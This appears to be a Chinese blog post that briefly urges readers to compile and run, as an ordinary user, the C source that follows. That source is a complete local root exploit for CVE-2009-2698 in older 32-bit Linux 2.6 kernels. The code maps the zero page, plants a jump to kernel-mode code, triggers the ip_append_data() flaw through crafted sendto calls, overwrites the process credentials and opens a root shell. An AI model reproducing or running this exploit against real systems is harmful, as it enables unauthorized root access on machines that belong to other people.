再次关注Linux安全

关注Linux安全,又是利用普通用户提权！什么也不说了，下面的C源代码，在普通用户下编译成可执行文件并执行之，便可以切换到root用户权限。

/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>
unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
        unsigned *addr=task;
        while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
                addr++;
        }
        addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
        addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
        return;
}
void exploit();
void kernel_code()
{
        asm("exploit:\n"
                "push %eax\n"
                "movl $0xfffff000,%eax\n"
                "andl %esp,%eax\n"
                "pushl (%eax)\n"
                "call get_root_uid\n"
                "addl $4,%esp\n"
                "popl %eax\n");
        return;
}
void *kernel=kernel_code;
int main(int argc, char **argv)
{
        int fd=0;
        char buf[1024];
        struct sockaddr x0x;
        void *zero_page;
uid=getuid();
        gid=getgid();
        if(uid==0){
                fprintf(stderr,"[-] check ur uid\n");
                return -1;
        }
        if(personality(0xffffffff)==PER_SVR4){
                if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
                        perror("[-] mprotect()");
                        return -1;
                }
        }
        else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
                        perror("[-] mmap()");
                        return -1;
        }
        *(unsigned long *)0x0=0x90909090;
        *(char *)0x00000004=0x90; /* +1 */
        *(char *)0x00000005=0xff;
        *(char *)0x00000006=0x25;
        *(unsigned long *)0x00000007=(unsigned long)&kernel;
        *(char *)0x0000000b=0xc3;
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
                perror("[-] socket()");
                return -1;
        }
        x0x.sa_family=AF_UNSPEC;
        memset(x0x.sa_data,0x82,14);
        memset((char *)buf,0,sizeof(buf));
        sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
        sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
        if(getuid()==uid){
                printf("[-] exploit failed, try again\n");
                return -1;
        }
        close(fd);
        execl("/bin/sh","sh","-i",NULL);
        return 0;
}
/* eoc */